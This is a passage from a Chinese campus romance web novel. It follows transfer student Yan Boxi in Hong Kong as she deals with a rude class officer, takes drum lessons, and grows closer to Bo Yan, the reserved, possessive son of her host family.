这个宠物超市也是救助站的同学开的,所有收入充公,一部分用于校内救助站,一部分捐给港流浪宠物协会。
收银台前在排队,颜帛夕提着篮子走到队尾,前面有三四个人。
收银系统出了点问题,队首的男生被多扣了钱,工作人员正在帮忙处理。
颜帛夕踮脚看了眼,百无聊赖,转身看玻璃柜下的东西。
刚看了几眼,听到斜后方不远处有声音——
“是前天射击赛坐在薄彦身边的那个女生吗?”
“那不是咱们班新生吗,内地转过来那个。”
“就是她,和李清清玩儿得好,上课放学都跟连体婴一样。”
说到这儿,有人轻嗤一声,之后是略带轻蔑的语气:“能和李清清玩一起会是什么省油的灯。”
李清清举报校纪委的事情颜帛夕知道,当然也知道她是因为这件事跟班里的小团体有点过节。
不过李清清本人不在意,说大学本来就是独来独往得多,有的上了四年学,直到毕业班上的人名都叫不全,她不跟这些人说话就不跟这些人说话了。
李清清都不在意,颜帛夕一个插班生更是不在意。
她跟这些人本就不认识,也觉得他们的行为过分,相比他们,她更喜欢直来直去的李清清。
这会儿听见本不想理,但那几个人说话声音不小,显然没有避着她的意思,更是有愈演愈烈的趋势。
颜帛夕皱了皱眉,右手提的小挎篮放在玻璃柜台,转头看过去。
大概是她长得柔柔弱弱,又穿了条格外文静的白裙子,那群人没想到她会直接看回去。
她和那群人对上视线。
议论声稍滞,两秒后,其中一个手插口袋的男生唇角讥诮,笑得并不怎么友善。
“嗨。”他扬手对颜帛夕打了个招呼。
听声音是刚对话里最语带不屑的那位。
家庭教育使然,颜帛夕不怎么会怼人,和对方对视两秒,正迟疑怎么开口,男生手从口袋掏出来,看着她又说了句:“周日晚和计算机院的联谊来不来?”
“带着你那个朋友,”他说完又笑,“班里活动都不参加,你们两个一个比一个不合群。”
颜帛夕蹙眉,手从挎篮提手松下来:“刚开学一周,还没有院里通知的正经活动。”
男生听到她这话嗤笑:“什么活动算是正经活动?前天晚上新学期唱k你们也没来。”
男生说的活动颜帛夕知道,在群里通知了,但真正去的人一半不到。
颜帛夕看着他,眉心皱得更深,觉得有个一官半职就用这种身份压人的人很奇怪。
“你们......”她刚张嘴,话被打断。
从远处走来一个穿亮红色T恤扎高马尾的女生,她说出口的第一句话就能让人感到明艳。
“你们在这里干什么,我刚谈好了领养。”她拇指朝身后指。
刚说话的男生回头看了高马尾女生一眼,还是刚那副要笑不笑的表情,阴阳了一句:“在和跟你一样追薄彦的人说话。”
明闻婧拨了下后脑的马尾,闻声看向几步远外的颜帛夕,随后眼睛一亮,扬手打招呼:“你好,我认识你,前天射击赛结束薄彦是去找的你对吧。”
颜帛夕对上她的视线,不想点头也不想摇头,尽管这个女生看起来还算友好,但她身边几个人刚刚的话让人非常不舒服。
颜帛夕不想和他们扯上关系。
“刚问你话,怎么哑巴啊,”那男生又扭过来,两手抄口袋,吊儿郎当的口吻,“周日晚上,你和李清清不去,以后有正经活动也不通知你们。”
颜帛夕看向他:“我知道像联谊这种都是自愿的,没有这个不去别的也不能去的说法。”
身后工作人员终于和那位被收错钱的男生协调好,队伍往前移动。
颜帛夕拎了玻璃柜上的篮子回身往后,没再有跟他说话的打算。
没想到刚转身走了一步,被几步跨过来的人堵住。
男生比她高不少,单脚挡在她面前,不屑啧声:“看你长得漂亮才跟你多说两句,怎么跟李清清一样不识抬举。”
他这句让颜帛夕感到生理不适。
“让开。”她看着他。
颜帛夕声线偏软,即使是冷着语气说话也显不出多凶。
男生低眸,目光如有实质地在她脸上打量,玩味笑:“我不让你又能怎么样?”
“不让打算在这里站一辈子?”男生身后传来声音。
颜帛夕侧头看过去,是前两天在架子鼓室见过的宋之霖。
作为和薄彦同一届的计算机大四生,宋之霖比在场的几个都高了两届。
他先前在学生会也任过职,成绩好,数模计算机赛都拿过奖,在学校也很多人知道。
颜帛夕习惯性一低头,先是叫了声“学长”。
一直跟颜帛夕呛声的男生自然也认识他,见有人帮忙,他没再在颜帛夕面前堵那么严实,语气不怎么好地又通知了一遍颜帛夕后天晚上联谊,跟宋之霖点了下头,撤身走人。
颜帛夕没看他,但也听到他回到那堆人中,刚那个语音语调都很明艳的女生问他:“后天薄彦来吗?”
“来吧,”他答,后调侃,“你那没送出去的花还想再送一次?”
再之后的话颜帛夕没再听到,那几人走远了。
但从刚刚的只言片语能听出来明闻婧是先前在休息室给薄彦送花的女生。
排队结账的队伍一直在往前,颜帛夕是队尾,宋之霖很自然地站在了她的身后。
两天前在架子鼓室,宋之霖跟她和李清清都加了微信。
那个练习室的钥匙在他这里,平时的课程安排和教室借用都要从他这里走。
颜帛夕想上课,这两天跟他聊了几次,有关学校设施和音乐社的免费课程宋之霖都跟她讲得很清楚。
看到颜帛夕筐里的猫罐头,宋之霖跟她聊天:“养了猫?”
颜帛夕顺着他的视线往自己的筐里看,找了个合适的词解释:“认识的人的猫。”
宋之霖点头,表示了解,又道:“你们学院班委组织风气不好,学校不好处理,你自己多注意。”
出于礼貌,颜帛夕一直半侧身跟他说话,闻言说谢谢。
宋之霖笑:“你一直这么客气吗?”
颜帛夕也笑:“还好。”
“对了,后天的联谊很多人都会去,院里拨了钱
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,还有乐队演出,可以来看看。”
颜帛夕犹豫:“但是......”
宋之霖:“场地很大,不想跟刚刚几个人说话可以坐得远点。”
颜帛夕弯唇:“那谢谢了,我和清清考虑考虑。”
时间还早,两人结完帐一起往音乐社走。
今天晚上有一场架子鼓的课,她想去听一下试试。
路过一片篮球场地时,宋之霖手机响了下,跟她示意,走到一旁接电话。
颜帛夕原地站了半分钟,环视周围,往斜前方几步,拎着袋子走到树荫下接着等人。
刚九月,阳光还很毒。
......
薄彦是在颜帛夕在树影下站定时看到她的,白裙子,在浓密树影里格外显眼。
“你听我说话了吗?”坐在篮球上的吴文宇抬胳膊撞了他一下。
薄彦收回视线,右手空掉的易拉罐捏扁,丢进不远处的垃圾箱,十分坦白:“没。”
吴文宇从初中搬到他家隔壁住,刨除两家生意上的往来不说,到现在跟他玩儿了十年。
“你他大爷......”吴文宇不禁开口骂,“你什么时候能对我认真点??”
薄彦看他一眼,眼神像看傻蛋。
吴文宇看到他这眼神就烦,莫名收到一万点攻击,他扬手:“得得得,我再跟你说一遍......后天晚上联谊去不去?”
他手舞足蹈,扬起的手差点打到薄彦的鼻子:“跟中文系,全是大美女......”
薄彦蹙眉,往远离他的方向避了避,很冷淡:“不去。”
“你能不能别上来就拒绝,你这个狗性格也就我跟你玩儿,你换个人试试,奶奶的你陪我去又怎么了,算我求你了不行......”
吴文宇越说越兴奋,完全没注意听话的人视线又落回了刚刚的地方。
薄彦轻轻眯眼,拿起身边的另一罐可乐,几分钟吴文宇渴得受不了跑去买的,现在还冰着。
连着两天没见,他并没有好多少。
因为少时比赛焦虑,他心理有点毛病他知道。
但从来没想过这毛病会在刚来几天的女孩儿身上出现。
不熟,上一次见面印象里还是三年前对方一家来香港的饭局,他露面十分钟,就吃了两口,被叫回去训练。
颜帛夕当时坐离他很远,他走的时候她刚从洗手间回来,几乎没机会看清对方的脸。
所以现在是......
吴文宇这次真急了,勾着脑袋往远处瞅:“你是不是又没听我说话,到底看什么呢?!”
颜帛夕站得远,隔了一层篮球场的护网还有段距离。
“那不是宋之霖吗?”吴文宇看到接完电话往树荫下走的宋之霖,目光落到他旁边,“那谁?白裙子的,他女朋友?”
薄彦没出声,吴文宇叽叽喳喳,一个人能说十个人的话。
“到底是不是他女朋友?”
“他谈恋爱了??我怎么不知道。”
“不是说他只知道学习不搞感情吗,隔壁班有人追他我知道。”
......
遥远,女孩儿没站稳,宋之霖握住她的手臂扶住她。
薄彦扫了眼握在她胳膊的手,半秒后,右手喝了一半的可乐放在地面,拇指反反复复蹭过冰凉的易拉罐外壁。
有点不爽。
前天晚上听她跟赵姨聊天,说准备学架子鼓。
所以是教架子鼓就能摸到?
他轻啧一声,有些无语自己这想法。
吴文宇望着远处的两人,胳膊肘又开始杵薄彦:“后天你到底去不去,跟中文系啊......”
“跟谁?”薄彦问。
“中文系,你聋了??”
“去。”男生漫不经心的口吻。
正欲再劝的吴文宇闻言一顿:“刚不是还说不去?”?
“嗯,”远处两人身影消失,薄彦转头,看球场上的人投球,懒声,“改想法了。”
5. 9.25症候群
颜帛夕晚上跟李清清吃过饭才回别墅,进门瞧了两眼,没有男生的身影。
低头看手机确认了一下时间,刚过八点,薄彦应该还要一会儿才会回来。
赵姨在厨房忙着腌菜,还有几个家佣在一楼伸出去的露台修剪各种长“出格”的植物。
颜帛夕把肩上的包放在靠墙的架子,低头换鞋,再是踩着拖鞋往里走,从帆布包里掏了下午在流浪站买的猫条和罐头,四面环视,轻声喊“咪咪”。
昨天晚上下来找赵姨时,隐约听到薄彦在庭院打电话,中间叫了声“不行”,让别蹭他的裤脚。
但距离远,颜帛夕不确定这只加菲是不是叫这个名字,只能还用临时称谓称呼它。
扬声再叫第三次,东侧一间房的房门被顶开,胖乎乎,浅褐色的身影从里面钻出来,照例走得慢吞吞。
它瞄了眼被整整齐齐摆在颜帛夕脚前地面的罐头,爪子往前迈的动作依然缓慢而高冷。
颜帛夕叹了口气,蹲下来,招招手,试探着叫:“不行?”
叫完又皱眉,这什么怪名字。
她小时候也想过养猫,但无论是她母亲林薇还是她的父亲颜伟明都对宠物没什么好感。
“你身体不好,爱过敏,养那种东西干什么。”
“你上学了不在谁管。”
“好好读书,不要把心思操在不该操的东西上面,高考完再养。”
......
家风严,干什么都要规规矩矩。
谁知道高考完家里出了事情,现在她又被一杆子支到香港,养猫的事情就这么搁置下来。
不过幸运的是,薄家有只现成的猫。
各种口味的罐头摆在面前,颜帛夕扒拉了一下身边的塑料袋,从里面拿出两根猫条,挥了挥,问面前这只并不会说话的宠物:“想吃哪个?”
“喵——”不行看着她叫了一声。
颜帛夕示意了一下右手的,宠溺的语气:“这个?”
不行又叫了一下,颜帛夕换了另一只手,对它摇:“还是这个?”
“它两个都想要。”身后传来沉哑的男声。
颜帛夕动作一滞,就着半蹲的这个姿势,侧身看他。
薄彦的声线很独特,有属于少年人的清朗,但又比一般同龄男生的嗓音有磁性很多,像被挤了柠檬汁的低醇酒液,是带着清爽气的低音炮。
他把右肩背的装备包丢在沙发,敞腿坐下,揪着衣领把上身的T恤脱下来,再后仰,旁若无人地在沙发上瘫开。
一套动作自然流畅,在颜帛夕反应过来之前。
颜帛夕视目光在他身上扫过,移开,低头再对上不行的眼睛时摸了摸鼻子。
怎么这么爱脱衣服啊......
想是这么想,但莫名其妙的,还是往旁边重复瞧了眼,他身板壮而不厚,是那种最好看的,线条紧实的薄肌。
察觉到男生动了动,颜帛夕下意识遮掩自己刚看他的动作,举起手中的猫条:“给它吃这个可以吗?”
两米外的人眼皮都没撩一下,阖着眼,像这个问题真的很不重要:“随便。”
颜帛夕身上穿的裙子,裙摆在膝盖以上,拢着裙子蹲下的动作让她暴露了大半的腿。
她拨了拨裙摆,有点烦。
她柜子里这样的裙子居多,白色,淡黄,文静,乖巧......都是父母准备的,但她自己其实并没有那么喜欢。
她有点想试试穿马丁靴敲架子鼓。
喂完不行一整根猫条,揉了揉它的脑袋起身,礼貌地跟还躺在沙发上的人道别:“喂过了,还剩一些我放在它的零食架。”
“那我上去了?”她是那种很清澈的声线。
她话音落客厅安静了两秒,就在她以为薄彦不会回,打算直接上楼时,男生却摸了下耳廓,睁眼看过来。
他小指刮耳廓的动作看起来有些烦,但颜帛夕并不明白他这轻微烦躁的缘由。
薄彦的目光在她垂在身侧的手上落了下。
很奇怪,他明明没有皱眉,但颜帛夕却好像能感觉到他此时此刻有点燥。
她抬眸,下意识看了眼斜上方的空调出风口。
是因为今天室内空调的温度不够低吗?
还没等她再细想,听不出情绪的男音:“你很喜欢摸它?”
他问得太突兀,颜帛夕反应了一下才意识到他指的是还蹲在她脚边的猫。
可能是刚喂过东西,肥呼呼的加菲并没有急着去找它的主人,而是在她脚边趴的像一团庞大的黄色毛线。
她低眸看了眼,有点局促:“啊......对。”
她觉得薄彦的问话有点奇怪,正常来说不应该是问喜不喜欢吗,为什么要加个摸字。
处理完露台植物的家佣从东面阳台进来,发出收拾工具的响声。
看她的人视线转开,捞了一旁刚脱掉的T恤搭在自己身上,闭眼:“上去吧。”
颜帛夕:?
她做点头的动作,手里的塑料袋束起口:“好,那罐头我都放在架子上了。”
“嗯。”男生手搭在额头,懒懒应。
-
隔天中午在校外吃完饭,她跟着李清清去附近的一家文创店,买了几根编织的手链。
皮质线编织的手环,颜色没那么五彩缤纷,多数是黑白灰或者纯色,细线上带了暗纹刺绣,价格不便宜,但很好看。
她想买几根送给最近认识的人,李清清一根,帮她安排课程的宋之霖一根,还有在流浪救助站认识的学弟学妹各一根,还有......她在想要不要也给薄彦拿一根。
“你看这个好看吗?”李清清从一旁冒出来,右手拿了把折扇,哗啦一下展开,掩在脸前,做害羞状。
颜帛夕被她逗笑,从摆架上拿起自己看好的手环,侧身问一旁的工作人员:“这个款式有纯黑的吗?”
她还是准备给薄彦也买一根。
李清清亦步亦趋跟着她到收银台结账,顺便把她刚说好看的那把扇子买了。
扇子折好,扇柄那端朝下放进颜帛夕的帆布包,拍了两下确认装好,抬眼看她:“明天的联谊去吧,虽然刘泽文几个人真的很恶心,但不能错失看帅哥的机会。”
刘泽文是上次颜帛夕买猫条时遇到的那个男生。
屁大点的干部,真当自己是个人物了。
她先是低头诧异了一下李清清把那把价格特别不菲的扇子送给了自己,再是茫然看她:“什么帅哥?”
李清清摇着右手腕的编织手环:“你不是也给我买这个了吗?”
说完她拨了拨手环,接着道:“计算机这两届跟开了挂似的,长得帅的比体院都多,不然能跟咱们系联谊?”
她掰着手指,如数家珍:“大四有薄彦,宋之霖,还有薄彦那个朋友,叫吴什么的,他们好几个一起玩儿的长得都好看,再往下大三还有......就是今年新一届大一好像不太行,看来鼎盛期不可能一直存在,要没落了......”
李清清说到最后,又绕回第一句,很中肯地点头:“薄彦那脸是真好看,前段时间表白墙有男的给他表白,笑死我了,男女通吃。”
说话间已经走出了文创店。
颜帛夕应了一声点点头,仔细回忆了下薄彦的长相,不期然地又想到他昨天不穿上衣躺在沙发的画面。
她有点想说其实不光是脸好看,他好像身材也好。
晚上回去,薄彦照例不在。
颜帛夕吃过饭在楼下陪赵姨说了会儿话,再上楼刷了部电影。
很治愈的文艺片,两个小时的电影,她哭了三次,结尾女主的独白太打动人,她抱着平板窝在沙发里,眼泪扑簌簌地掉。
电影终于结束,她抽纸抹泪再看时间,发现已经过了十一点。
哭了太多次,这会儿身体有些缺水,她按了按嗓子,从沙发坐直,轻咳两下,确实渴了。
平板收起来,长发随便挽了揪揪,想下楼拿瓶苏打水。
拿了水再
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上来,却在房间门口遇到薄彦。
男生穿着深灰色T恤,袖管露出的手臂结实有力,头发挂着水,像是刚洗完澡。
水珠从发梢滴到脖颈,顺着领口滑进去,在深夜这个时间点染着些暧昧和性感。
两人对上视线,颜帛夕习惯性地抬手点下巴,打了招呼。
薄彦眸光从她脸上扫开,敷衍地颔首,没有多余表情。
擦肩而过时,颜帛夕想起来下午买的手环。
都送出去了,只有给薄彦那根还在她的背包里,初来乍到,她习惯送人东西,以前初高中开学,父母还会让她给室友带礼物。
“你等一下。”她喊住薄彦。
已经走出去的男生闻声停脚,转回来。
颜帛夕打手势:“我有东西给你。”
她的卧室就在两人站的斜前方,她进门拿东西,薄彦倚在走廊的栏杆处等她。
她走得着急,进房间时没带门,从薄彦的方向能看清她房间的陈设。
四角都是半圆形的床,米白色的床品,纯色,没有任何繁杂的花纹,靠窗的茶几沙发也是相同色系,下面铺了一片毛绒绒的浅灰色地毯,胡乱扔了几个玩偶,其中一个是雪白的兔子抱着胡萝卜。
和他房间的色调不一样,一切都软软的,暖烘烘的。
他搭在栏杆的手往后收了收,轻咽嗓,全身上下都像被鸡毛掸子撩过似的,又开始犯痒。
真他妈服了。
精神忪怔间,女孩儿已经从卧室出来,几步走到他面前。
又是那种淡淡的,别人都闻不到,只有他能闻到的香气。
他两只手抄在裤子口袋,松散地后靠站着,没再跟自己的精神做无用的抵抗,任凭自己享受这惹人沉溺的气息。
神情放松,几乎溺在里面。
颜帛夕在他身前半米的地方,右手伸出,掌心向上摊开,手心里躺了一个纯黑色的皮质手环:“送你的。”
薄彦落眸,睇了一眼那东西。
他记忆力好,什么玩意儿多看一眼都记得,这东西他记得学校门口的文创店有,卖得死贵质量还不好。
去年吴文宇他妹拉着他们去看,他嫌弃地站在一边,等了那对兄妹半个小时。
看男生眼皮耸拉,只看不动,颜帛夕以为他没听到,右手往前递了递,提醒似的唤他:“薄彦。”
他抬头,目光落过来。
有一瞬间,颜帛夕感觉他的视线很有质感,拢着她,像是要把她吞进去。
她心神一颤,不自觉地想后退,轻声,这次带了疑问:“...薄彦?”
她声未落,面前的人眸光已经偏开,仿佛刚刚的侵略性只是她的错觉。
他没接她的手环,反倒是提起前两天在庭院的话题。
他嗓音微哑,带点磨砂颗粒质感,落在此时安静的走廊,仿佛要搅动因光线昏暗而黏浊的空气。
“玉帛的帛,朝夕的夕?”他薄薄的唇动了动。
昏暗里,他的表情并不明晰。
颜帛夕对着他疏懒的目光,稍怔:“对。”
看女孩儿只是应声没动,薄彦眼皮半低,脚下换了重心,眉尾在阴影里极为轻佻地扬了下。
“你说交个朋友?”他嗓音沉沉,提醒道。
颜帛夕想起自己那天的话,手环换了只手,右手伸出,声音柔柔,正经认真的:“希望能成为朋友。”
薄彦看着那只抬到眼前的手,手指纤细,指甲圆润干净,每个骨节都不突出,极为漂亮。
走廊挂着的时钟指针转动,发出极其细微的“咔哒”响声。
良久,他右手从口袋伸出,拢住那只漂亮的手。
他在昏沉光线里掀动眼皮瞧她。
沾了空调凉气的冰凉指尖贴在他的掌心,握得不紧,若有似无,但还是能清晰感知到那只手的存在。
他凝着她,肩膀下塌,身体像是释放了一口浓重浊气。
他不想承认,但——
爽得想死。
6. 9.26症候群
只是很短暂的两秒,颜帛夕抽了手。
薄彦手心空下来。
因为刚刚握手的动作,他的右手还悬空虚拢着,空调冷气钻进掌心,丝丝凉凉,空落落的。
他喉结深深滑动,收手,重新抄进裤子右侧的口袋,左肘抵在栏杆上,倚得自在。
因为长久没说话,走廊的声控灯又灭了一盏,比刚刚更暗一些,他就在这昏沉沉的光线里,肆无忌惮地凝望着半步外的人。
颜帛夕没注意,往右边刚亮灯的方向看了眼,也不好再把灯叫亮,转回来时,左手捏着那根手环举高,解释:“我在学校附近的文创店买的,觉得很适合你,专门向店员要的纯黑色。”
她嗓音清透,落在此时安静的走廊,很好听。
但薄彦的注意力既不在她的声音,也不在她食指勾着的手环,而在她的手上。
刚碰过一次,这会儿更想碰了。
“嗯。”他低低哑哑地应声,两肘后靠,随性闲散的姿势依旧带着喷薄的张力。
“不想要。”他说。
他对这玩意儿实在没什么兴趣,小姑娘玩儿的东西。
没想到被这么直白地拒绝,颜帛夕有一丝尴尬,她捏着手环收起来,正准备告别回房,男生忽然抬手,食指点了点她手腕的发圈。
声音荡在粘沉空气里:“想要这个,送我?”
很简单的深灰色发绳,套在女孩儿纤细的手腕。
很私人的东西,要这个实在太突兀,颜帛夕疑惑转头看他。
因为刚刚的动作,走廊的声控灯已经重新亮起,男生微微偏头,低眸,百无聊赖地转着他的手机。
语气没什么变化,依旧没情绪。
“资料袋需要束口。”他说。
颜帛夕愣了下,意识到他是在跟自己解释要发绳的原因。
迟疑两秒,发绳摘了递过去。
一个皮筋而已,她还有很多,给一个也没什么。
男生接过去揣进口袋,眼皮闲散撩动,没太在乎的轻扫她一眼。
颜帛夕抬手再指自己的房间:“那我回去了。”
倚靠着走廊栏杆的人点头,又转了两下他那手机,没有要动的意思。
“你不回房吗?”颜帛夕疑惑问。
薄彦没抬眸:“ 再站会儿。”
颜帛夕隐隐约约还是觉得哪里奇怪,但没多问,握着苏打水的手垂下去,转身回了卧室。
房门嘭一下被关上,迟了两秒,靠拦而站的人换了姿势抬眼,他瞧着那扇门,左手揣在口袋里,反复捻着那根发绳。
指尖发烫,身体的燥热并没有因为摸着她的东西而好一点。
如果可以,他希望是她的手捻磨,按压在他的身上。
-
“摸我一下。”
“你他妈说什么???”吴文宇两手抱臂,拢着自己高大的身躯,以为自己听错了。
他看神经一样看薄彦:“我不搞/基。”
薄彦把架子鼓槌扔到一侧软垫,两步走过来,撩了T恤一侧的袖管撸到肩膀,在吴文宇身边的小矮凳上坐下。
只有三十公分高的军绿色马扎,实在委屈了他那双长腿。
他肩膀有伤,不会每天训练,有固定的休息日,今天下午没课,和吴文宇一起来了音乐社。
他拎起地面一瓶水,拧开喝了两口,冰水顺着喉管灌下去,却依然没能抚平他身上的燥热。
从昨晚到现在,脑子里一直挥之不去握她手的画面,身体似乎记住了那种感觉,频频向他叫嚣着还想要。
很难受,他有点控制不了。
吴文宇探手摸他的额头:“你病了?”
他手还没摸上去,薄彦已经皱眉侧身避开:“滚。”
“......”吴文宇张口骂,“他大爷的,你刚刚还让我摸......”
“现在不想了。”他握着瓶子把最后两口水喝完,随后塑料瓶捏扁,丢进两米外的垃圾桶。
他想确认他是单纯地想被摸,还是单单想被她摸。
不过刚吴文宇抬手他已经能确定了,他还是很不喜欢别人碰自己
很不喜欢,很烦,所以那样的感觉的确只对颜帛夕。
吴文宇瞧着身边人咂了两下舌,很无语,又不想怼他,薄彦那个嘴比他会讲难听话多了。
静了两秒,吴文宇抬手想撞薄彦的胳膊,被他吊着眉梢看过来,他语声冷淡,指使吴文宇:“往旁边坐点。”
吴文宇:“我靠,就这么屁大点的地方你让我坐哪儿?”
薄彦看都没看,下巴示意一侧:“往右,别挨着我。”
吴文宇欠身捞着马扎往旁边挪:“我真服了,你要不是含着金汤匙出生,肯定被人打死,臭规矩真多,别人碰你你不喜欢就算了,我他妈跟你一起光屁股长大,我坐你身边你也烦,你哪天谈恋爱了,跟你女朋友也别牵手别抱。”
吴文宇一顿吐槽完,又想起来:“等会儿几点走,不是晚上还要联谊?而且为什么要来练架子鼓,你不是好几年没碰过这玩意儿了?”
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吴文宇自顾自地说,他身旁的人阖眼躺靠在带靠背的马扎里,丝毫没有理他的打算。
“我说话你听了没,”吴文宇看他,“明闻婧联谊也来,她让我跟你说一声,想晚上和你一起回去。”
“谁?”薄彦皱眉看过去,实在不记得这号人物。
吴文宇脚怼了下一边的软毯:“前几天堵休息室给你送花那个,她妈跟我妈认识,电话打到了我这儿。”
香港有权势的圈子就那么大,大家互相都认识,明闻婧在国外读的高中和大一,实在受不了英国的饭,今年逃回来,家里人安排进了A大。
和颜帛夕一样是转学生。
薄彦眼皮撩走,冷淡:“不记得。”
吴文宇拖着椅子往前坐了坐,给他分析:“其实我觉得明闻婧那人还行,虽然没脑子,但长得可以,明家近几年在香港也风生水起,你真跟她在一起也行,谈个恋爱嘛,不说后面的事......”
“没空,我吃饱撑的谈恋爱。”
“行,不谈,那你帮忙送人回家总行吧,你们住的顺路。”吴文宇纯属被人拜托后,不完成任务心里有负罪感。
躺着的人抬手拨了下斜前方的镲,轻嗤:“不送,你当我是车夫?”
“你这人怎么......”
吴文宇的话被开门声打断,淡米色的木门半敞,从外进来几个人。
为首的是宋之霖,穿白色T恤,清爽斯文,后面跟着两个女生,一个连体裤,一个白衬衣百褶裙。
薄彦落眸看了一眼。
架子鼓的练习室很大,横着有十几米,薄彦和吴文宇在的地方是东北角,和颜帛夕她们进门的地方正好是对角。
吴文宇跟着薄彦的视线回头看,扬手打了声招呼:“宋之霖。”
宋之霖看到他们,稍稍颔首。
颜帛夕也听到声音抬头,和薄彦对上视线,她不清楚在外面是不是应该表现得跟薄彦认识,想了两秒,目光稳妥地挪开,跟着李清清和宋之霖往这两天经常用的鼓前走。
薄彦当然看到了她回避的动作。
他搓了下手指,时隔一天,本来那点燥就压不下去,现在更是烦。
偏偏还有不长眼地使劲儿往他脸前凑。
吴文宇身体转过来,眼神还黏在那边:“那到底是不是宋之霖的女朋友,上次球场也见他们了。”
“是不是啊,长得还挺般配。”吴文宇终于舍得收了目光,看回来。
薄彦敞腿而坐,一手撩着鼓槌,睇他:“你眼瞎?”
7. 9.27症候群
“什么??”吴文宇被怼得一愣。
薄彦瞥他一眼,左手转的鼓槌扔下去,从地面的垫子上捡起另一根,试着在鼓面敲了一下。
“真不是吗,”吴文宇又往那侧扭头,“不是天天黏一块干什么。”
薄彦鼓尖轻敲鼓面,嗤笑。
他也想知道。
简单敲了几个节拍,再抬头,不远处三个人中的两个女孩儿已经坐下了。
李清清和颜帛夕并排而坐,宋之霖站在颜帛夕的左手边,半弯身,把她面前支的鼓谱往后翻了一页。
不知道是不是角度问题,从薄彦的方向看过去,两人挨得很近,宋之霖的手肘几乎贴到颜帛夕肩膀。
再之后,他看到了挂在宋之霖右手手腕的手环,和昨晚颜帛夕拿给他那个一样,只不过是米白色。
视线再扫,李清清手腕也有。
“......”薄彦踩了脚镲,鼓槌丢开,哂笑之后眉尾吊起来。
他以为是只给他的,没想到是搞批发。
吴文宇正低头回消息,听到清脆的镲声被吓了一跳,抬头看到薄彦的脸色。
男生神情懒懒,但眉梢眼角都明明白白写着不爽。
吴文宇把亮着和明闻婧对话框的手机反过去,瞅薄彦:“谁惹你了?”
薄彦起身,拉了把折叠躺椅,没骨头似的倚进去,百八十年没睡过觉一样再次闭上眼,声线里弥漫着浓浓困倦:“没谁。”
“哦对,”吴文宇往前坐了坐,“你家最近是不是来了个妹妹,内陆来那个。”
远处“乒乒乓乓”的架子鼓已经敲了起来,薄彦屈指抬手,右臂搭上前额。
吴文宇还在bb:“长得怎么样?不是说也来A大?在哪个学院,给我介绍介绍......”
薄彦眼皮撩起,侧眸看吴文宇的眼神比刚刚更不爽:“你是真有病假有病?”
吴文宇:“我靠,不介绍就不介绍,你怎么骂人呢。”
两人对上视线,吴文宇觉得薄彦今天脾气真不好。
虽然他那个狗脾气平时也没多好。
“走了走了。”宋京推门进来。
颜帛夕听到动静抬头,林清清跟着一道看过去。
前几天比赛,宋京穿了专业的射击服,颜帛夕脸盲,乍一看没看出来,但李清清认出来了,她凑到颜帛夕面前:“那不是B大的那个吗?”
宋之霖听到,也看了一眼,肯定:“好像是。”
“他们认识?”李清清好奇。
颜帛夕讷讷点头:“看着像?”
李清清好奇心重,盯着又看了几眼。
宋京在几道视线的注目下往薄彦和吴文宇的方向走。
他高考分不够,即使走体育特招也只能上B大,前几天的比赛,两个学校的人吵得火热,实际上他和薄彦关系很好。
甚至薄彦下场去休息室,他还专门绕过去一趟“嘲讽”,问他这位哥哥为什么打出一发7.1环的成绩。
“走什么走,”吴文宇还在苦思冥想找理由搪塞明闻婧那位祖宗,抽空扭头瞥了眼宋京,“你一B大的,我们联谊有你什么事。”
“话不能这么说,”宋京一屁股在薄彦身旁坐下,“我是家属,你俩弟弟。”
吴文宇抬脚踢他,骂:“狗屁的家属。”
远处声音起起伏伏,颜帛夕又敲错了一个节拍。
宋之霖单手握着谱册,扶了一下她的鼓槌,提醒:“侧嗵鼓。”
最近一节鼓课是下周一。
开学一周多,鼓课已经开了两次,颜帛夕没赶上,只能过来提前补,不然下周直接上跟不上。
好在认识的宋之霖本来就学过几年,约了这两天过来,帮她和李清清熟悉一下。
“敲这个。”李清清对着手里的节奏谱,捏起颜帛夕手里的槌拎到其中一个鼓面。
颜帛夕嗯了一声,侧头看了眼摊在李清清腿面的谱子。
不远处又响起说话声,零零碎碎,听不真切,她莫名想起昨晚和薄彦在走廊,男生要她的发绳时,指尖点到了她的手腕。
虽然事情很正常,薄彦的动作语气也都正常,但不清楚为什么,她总觉有点暧昧......
她被自己的想法吓了一跳,下意识抬手摸自己的右手腕,昨天被薄彦不小心碰到的地方。
“阿颜,”李清清握着她的胳膊轻晃了两下,“你愣什么,又敲错了。”
颜帛夕摸腕的手撤下来,回神:“抱歉。”
右后方响起几下椅子后推的“嘎拉”声,好像有人站起来,接着是脚步声。
薄彦走在最前面,从她鼓前绕过,再是吴文宇,还没路过便抬手对宋之霖又招呼了一下。
宋之霖点头,再看回颜帛夕:“晚上联谊结束一起走?”
李清清没抬头,还在琢磨手里的曲谱,高兴应声:“好啊。”
颜帛夕目光还落在薄彦后背,男生T恤的一个袖管撩在肩膀,能看到他肩头往下直到整个上臂的轻薄肌肉,后颈碎发短削利落,肩膀下塌,只一个背影透着落拓不羁。
她目光落回来,点点头,也应了声“好”。
晚上要回来陪李清清去一趟她的宿舍,她上次借给李清清的外套还在她那里。
练习室的门打开又关上,宋京和吴文宇互怼的话被隔绝在外。
颜帛夕从李清清手里接过自己刚刚那根鼓槌,瞄了两眼节奏谱,刚想再试,口袋里的手机震动。
她掏出来看。
薄彦:[晚上等我。]
颜帛夕一时没明白。
颜帛夕:[什么?]
薄彦:[联谊结束。]
薄彦:[一起回。]
颜帛夕把鼓槌递给李清清,让位置让她先练,自己往旁边拉了椅子,专注回消息。
颜帛夕:[一起回家吗?]
颜帛夕:[但我还要回一趟学校。]
颜帛夕:[我衣服落在了我朋友这里,我要
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回学校拿一下。]
可能是一直在对话,这次薄彦回得并不慢。
薄彦:[哪个朋友?]
颜帛夕:[清清。]
发出去她想起薄彦不认识李清清,又补充。
颜帛夕:[刚坐在我旁边的朋友。]
瞧着刚对话框里的消息,琢磨要不要再解释一下,她不确定刚薄彦有没有注意自己,知道不知道她旁边坐的李清清。
拇指点在屏幕上正准备敲字,男生回了个“嗯”。
颜帛夕犹豫。
颜帛夕:[那我们还要一起回吗?]
颜帛夕:[我还要回学校。]
薄彦:[我送你。]
练习室外面有洗手间,吴文宇出来就要上厕所,带着宋京一起。
薄彦单手抄在口袋,另一手把刚回完消息的手机按灭。
吴文宇从后面走上来,探头往他手机上瞟:“你干什么呢?”
薄彦淡淡撩了下眸,手机收起来:“没事。”
-
晚上七点,夜弥酒馆。
今晚有著名的民谣乐队串场,一楼舞池蹦迪气氛浓厚,五光十色的射灯从内池照到周围卡座。
音乐燥,人声也燥。
